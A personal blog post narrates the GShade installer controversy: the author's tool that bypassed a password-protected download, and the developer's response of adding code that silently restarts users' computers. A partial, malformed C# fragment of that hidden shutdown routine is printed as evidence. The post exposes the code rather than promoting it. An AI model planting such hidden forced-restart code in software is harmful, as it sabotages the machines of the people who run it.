The GShade tango continues

Don't stop me nowwwwwwww

posted 2023-02-07 - go back

If you haven't read the first one, do that.

Enter DeezShade

After the password protected .zip file, I had the idea of using the installer itself to download the files.

I made DeezShade - it reflects the official installer with C# magic to download the files without the password. Pretty funny loophole.

Marot gets mad - the sequel

So, I woke up the next morning, and guess what?

I, uh, yep - Marot put malware in the GShade installer.

Specifically, it detects if App._instReady is set to false (which it would be on the official installer and not on DeezShade), and if so, SHUTS DOWN YOUR COMPUTER. The code looks like this:

private static void lol() => new Process()
  StartInfo = {
    WorkingDirectory = Environment.SystemDirectory,
    FileName = "shutdown.exe",
    Arguments = "-r -t 0",
    WindowStyle = ProcessWindowStyle.Hidden

// later on in the code...
public static void InitialPermissionsProcess()
  if (!App._instReady);

  // other stuff here, omitted for reading pleasure

I think(?) this is against the Computer Fraud and Abuse Act, but I'm not a lawyer. Lawyers, tell me: idkthelaw@(this domain)

The ultimate confrontation

After patching it out in DeezShade by setting that variable + using Harmony to patch the shutdown code, I decided to confront Marot about it in the GPOSERS Discord server.

After being called a kindergartener by the person who accused me of conspiracy to commit a crime, Marot showed up and left me the ultimate message:

Marot's message


He... he put malware in his software... as a "lesson". HE WROTE MALWARE TO GET BACK AT A 16 YEAR OLD. LMAO.

The fallout

After this, multiple events happened:

Whew, what a ride.

Support the future of FOSS

If you enjoyed this ride, you should consider supporting FOSS. Support individual developers or donate to a larger charity fighting for technological freedom. Consider donating to the Software Freedom Conservancy, the Electronic Frontier Foundation, or any of your choice. I'd really appreciate it.

Now, back to my homework, eh? :^